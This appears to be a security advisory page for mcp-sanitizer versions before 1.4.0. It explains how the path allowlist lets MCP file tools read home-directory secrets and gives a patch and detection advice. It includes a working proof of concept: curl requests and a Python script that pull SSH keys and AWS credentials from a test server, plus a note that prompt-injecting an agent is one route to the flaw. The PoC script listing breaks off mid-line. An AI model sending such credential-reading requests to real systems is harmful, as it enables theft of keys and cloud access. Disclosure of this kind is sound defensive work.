GHSA-7w82-6f9j-v9jp: mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
mcp-sanitizer before 1.4.0 explicitly allows any absolute path under /home/ and /Users/. An MCP file_reader or file_writer tool that trusts it can be steered to ~/.ssh/id_rsa or ~/.aws/credentials by an unauthenticated caller. Upgrade to 1.4.0.
Published Oct 28, 2026 · Analysis Oct 28, 2026
What an attacker can do
validateFilePath() in src/utils/validation-utils.js checks absolute paths against a hardcoded allowlist: /tmp/, /var/tmp/, /home/ and /Users/. A path outside the configured safe roots passes if it starts with one of these. The blocklist (dangerousUnixPaths) only covers /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/ and /sbin/, so the sensitive dotfile directories in a home folder are never checked.
The Express middleware sends file_reader and file_writer parameters to this check. The result { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } looks safe, so the consumer app reads or writes that path.
An attacker with network access to the tool endpoint, or one who can inject a prompt into an agent that calls it, sends an absolute path and gets back SSH private keys, cloud credentials, ~/.kube/config, GPG keys or .npmrc tokens. The advisory's reproduction exfiltrated a fake SSH key and AWS credentials in one HTTP POST. The CVSS vector rates only confidentiality; the advisory notes writes may also be possible through file_writer.
Who is affected
The npm package mcp-sanitizer, all versions below 1.4.0 (tested on 1.3.3). Exposed apps use sanitize(path, { type: 'file_path' }) or the Express middleware for file tools and then act on the returned path. Apps running as a user with a populated home directory leak the most.
npm ls mcp-sanitizermcp-sanitizer
- Ecosystem
- npm
- Affected
- < 1.4.0
- Fixed in
- 1.4.0
- Check
npm ls mcp-sanitizer
How to fix it
Upgrade to mcp-sanitizer 1.4.0:
npm install [email protected]The advisory's suggested patch removes /home/ and /Users/ from the allowlist and blocks .ssh, .aws, .gnupg, .kube, .config, .npmrc and .env fragments. Independently, run MCP file tools as a user whose home holds no credentials, and resolve every path against a fixed root yourself.
How to tell if you were hit
Check MCP server logs and request bodies for file_reader or file_writer calls with file_path values under /home/ or /Users/, especially paths containing .ssh, .aws, .kube or .gnupg. On hosts running the server, audit reads of those files by the Node process. If you find any, rotate the keys and cloud credentials involved. Beam logs agent file access and MCP tool calls, which helps when an agent was the caller.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
Summary
mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.
Details
The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:
// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
);
if (!isAllowedAbsolute) {
throw new Error('Absolute path not in allowed safe directory');
}
}Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.
The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.
The full data flow from a network request to the vulnerable return value is:
- `src/middleware/express.js:538-541` — The Express middleware routes
file_reader/file_writertool parameters tosanitizer.sanitize(params.file_path, { type: 'file_path' }). - `src/sanitizer/mcp-sanitizer.js:523-524` — When
context.type === 'file_path',_secureSanitizeFilePath()is called. - `src/sanitizer/mcp-sanitizer.js:683-687` —
validateFilePath()is invoked; if it does not throw, the normalized path is returned as the sanitized value. - `src/utils/validation-utils.js:188-196` — The
/home/prefix check passes without error. - `src/utils/validation-utils.js:200-201` — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.
A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];PoC
Environment requirements: Docker, Python 3, Node.js 20
Step 1 — Build and start the reproduction container:
# From the vuln-002/ directory
python3 poc.pyThe script automatically:
- Copies the
mcp-sanitizersource into a Docker build context. - Creates simulated victim files at
/home/victim/.ssh/id_rsaand/home/victim/.aws/credentialsinside the container. - Builds a consumer HTTP server (
server.js) that callssanitizer.sanitize()and thenfs.readFileon the returned path. - Sends the three test requests described below.
Step 2 — Manual HTTP requests (after the container is running on port 13572):
Control test — must be blocked:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}Exploit test 1 — SSH private key exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}Exploit test 2 — AWS credentials exfiltration:
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}Observed results (Phase 2 dynamic reproduction):
[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE KEY-----
[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
=> blocked=false, EXPLOIT_SUCCESS=true
file_content:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-east-1Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.
Impact
This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.
Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.
Sensitive targets include but are not limited to:
- SSH private keys (
~/.ssh/id_rsa,~/.ssh/id_ed25519) - Cloud provider credentials (
~/.aws/credentials,~/.config/gcloud/credentials.db) - Kubernetes config (
~/.kube/config) - GPG keys (
~/.gnupg/) - Application tokens (
~/.npmrc,~/.netrc,~/.env)
The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.
Reproduction artifacts
Dockerfile
# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
# - mcp-sanitizer source from the local repo
# - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
# - A consumer HTTP server that trusts the sanitizer
FROM node:20-slim
LABEL vuln="VULN-002" \
cwe="CWE-22" \
title="mcp-sanitizer home-directory path bypass"
# Install mcp-sanitizer production dependencies
WORKDIR /app/repo
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --omit=dev --no-audit --no-fund
# Copy mcp-sanitizer source code
COPY repo/src ./src
# Create simulated victim home directory with sensitive files
# These represent secrets a real attacker would target
RUN mkdir -p /home/victim/.ssh /home/victim/.aws
RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \
echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \
echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \
echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \
echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \
chmod 600 /home/victim/.ssh/id_rsa
RUN echo '[default]' > /home/victim/.aws/credentials && \
echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \
echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \
echo 'region = us-east-1' >> /home/victim/.aws/credentials && \
chmod 600 /home/victim/.aws/credentials
# Copy the consumer server application
WORKDIR /app
COPY server.js ./server.js
EXPOSE 3000
CMD ["node", "server.js"]poc.py
#!/usr/bin/env python3
"""
VULN-002 Dynamic Reproduction PoC
mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)
Vulnerability:
src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/'
as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes
sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer
app reads the file using the trusted sanitized path.
Attack chain:
1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa
2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}
3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer
4. SSH private key contents returned in HTTP response (exfiltrated)
Usage:
python3 poc.py
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.request
import urllib.error
# Paths
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo"))
PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")
# Docker settings
IMAGE_NAME = "vuln002-mcp-sanitizer-poc"
CONTAINER_NAME = "vuln002-poc-container"
HOST_PORT = 13572 # High port to avoid conflicts
BASE_URL = f"http://127.0.0.1:{HOST_PORT}"
TOOL_URL = f"{BASE_URL}/tool"
HEALTH_URL = f"{BASE_URL}/health"
def log(msg):
print(f"[poc] {msg}", flush=True)
def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_cmd,
"run_command": run_cmd,
"poc_command": "python3 poc.py",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py", "server.js"]
}
with open(PHASE2_RESULT, "w", encoding="utf-8") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
log(f"Saved phase2_result.json (verdict={verdict})")
def run(cmd, timeout=300, capture=True):
"""Run a subprocess command and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd, capture_output=capture, text=True, timeout=timeout
)
return result.returncode, result.stdout, result.stderr
def stop_container():
subprocess.run(
["docker", "rm", "-f", CONTAINER_NAME],
capture_output=True, timeout=15
)
def http_post(url, payload, timeout=8):
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
url, data=data,
headers={"Content-Type": "application/json"},
method="POST"
)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def http_get(url, timeout=5):
with urllib.request.urlopen(url, timeout=timeout) as resp:
return json.loads(resp.read().decode("utf-8"))
def wait_for_server(max_wait=40):
log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
try:
resp = http_get(HEALTH_URL)
if resp.get("ok"):
log("Server is up and responding.")
return True
except Exception:
pass
time.sleep(0.6)
return False
def prepare_build_context():
"""
Create a temporary Docker build context containing:
build_ctx/
Dockerfile
server.js
repo/
package.json
package-lock.json
src/
"""
build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-")
log(f"Build context directory: {build_ctx}")
# Copy Dockerfile and server.js from this script's directory
for fname in ("Dockerfile", "server.js"):
src = os.path.join(SCRIPT_DIR, fname)
dst = os.path.join(build_ctx, fname)
shutil.copy2(src, dst)
log(f" Copied {fname}")
# Copy only the necessary repo files (skip node_modules to keep context small)
repo_dst = os.path.join(build_ctx, "repo")
os.makedirs(repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst)
shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst)
shutil.copytree(
os.path.join(REPO_DIR, "src"),
os.path.join(repo_dst, "src")
)
log(f" Copied repo/src and package files")
return build_ctx
def main():
log("=" * 60)
log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass")
log("=" * 60)
# Validate prerequisites
if not os.path.isdir(REPO_DIR):
log(f"ERROR: Repo not found at {REPO_DIR}")
save_result(False, "FAIL",
f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.",
"", "", "")
return 1
rc, _, _ = run(["docker", "info"], timeout=10)
if rc != 0:
log("ERROR: Docker daemon is not accessible.")
save_result(False, "FAIL",
"Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.",
"", "", "")
return 1
# Clean up any leftover container from a previous run
stop_container()
build_ctx = None
try:
# Step 1: Prepare build context
build_ctx = prepare_build_context()
# Step 2: Build Docker image
build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}"
log(f"Building Docker image: {build_cmd}")
rc, stdout, stderr = run(
["docker", "build", "-t", IMAGE_NAME, build_ctx],
timeout=300
)
if rc != 0:
err_tail = (stdout + stderr)[-600:]
log(f"Docker build FAILED (rc={rc}):\n{err_tail}")
save_result(False, "FAIL",
f"Docker 이미지 빌드 실패 (exit code {rc}). "
f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. "
f"마지막 출력: {err_tail[-200:]}",
err_tail,
build_cmd,
f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
return 1
log("Docker image built successfully.")
# Step 3: Run container in detached mode
run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}"
log(f"Starting container: {run_cmd}")
rc, stdout, stderr = run(
["docker", "run", "--rm", "--name", CONTAINER_NAME,
"-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME],
timeout=30
)
if rc != 0:
log(f"docker run FAILED:\n{stderr}")
save_result(False, "FAIL",
f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}",
stderr[-300:],
build_cmd, run_cmd)
return 1
container_id = stdout.strip()
log(f"Container started: {container_id[:12]}")
# Step 4: Wait for HTTP server inside container
if not wait_for_server():
# Collect container logs for diagnosis
_, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10)
log(f"Container logs:\n{clog}")
save_result(False, "FAIL",
f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. "
f"컨테이너 로그: {clog[-300:]}",
clog[-300:],
build_cmd, run_cmd)
stop_container()
return 1
# ----------------------------------------------------------------
# Step 5: Test 1 — Control: /etc/passwd must be BLOCKED
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]")
try:
r_ctrl = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/etc/passwd"}
})
except Exception as exc:
r_ctrl = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ctrl)[:300]}")
ctrl_blocked = r_ctrl.get("blocked", False)
# ----------------------------------------------------------------
# Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]")
try:
r_ssh = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.ssh/id_rsa"}
})
except Exception as exc:
r_ssh = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_ssh)[:400]}")
# ----------------------------------------------------------------
# Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS
# ----------------------------------------------------------------
log("-" * 50)
log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]")
try:
r_aws = http_post(TOOL_URL, {
"tool_name": "file_reader",
"parameters": {"file_path": "/home/victim/.aws/credentials"}
})
except Exception as exc:
r_aws = {"_request_error": str(exc)}
log(f" Response: {json.dumps(r_aws)[:400]}")
# ----------------------------------------------------------------
# Step 8: Evaluate results
# ----------------------------------------------------------------
log("-" * 50)
log("Evaluating results...")
ssh_bypassed = (
not r_ssh.get("blocked", True) and
r_ssh.get("EXPLOIT_SUCCESS") is True and
"id_rsa" in r_ssh.get("sanitized_path", "") and
bool(r_ssh.get("file_content")) and
"RSA" in r_ssh.get("file_content", "")
)
aws_bypassed = (
not r_aws.get("blocked", True) and
r_aws.get("EXPLOIT_SUCCESS") is True and
"credentials" in r_aws.get("sanitized_path", "") and
bool(r_aws.get("file_content")) and
"aws_access_key_idCredited to EQSTLab, yym8538.
Questions
- Is this just path traversal with ../ ?
No. It needs no traversal. A plain absolute path like /home/alice/.ssh/id_rsa passes because /home/ is on the library's allowlist.
- Does it need authentication?
No. The CVSS vector has no privileges and no user interaction. It applies wherever the tool endpoint is reachable or an agent can be prompted to call it.
- What is the fixed version of mcp-sanitizer?
1.4.0. Versions below it, including 1.3.3, are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77312
Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)
critical10.0Nov 20, 2026CVE-2026-77318
Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode
high7.3Nov 20, 2026CVE-2026-77359
Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes
critical9.3Nov 20, 2026CVE-2026-130007
k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution
high7.9Nov 19, 2026CVE-2026-130008
sqlite-mcp: Read-only mode bypass via statement chaining and SQL injection in describe_table
high8.2Nov 19, 2026CVE-2026-62964
Gortex: Arbitrary file write / repo-confinement escape in `write_file` / `edit_file` / `move_inline` MCP tools → code execution
high7.8Nov 19, 2026
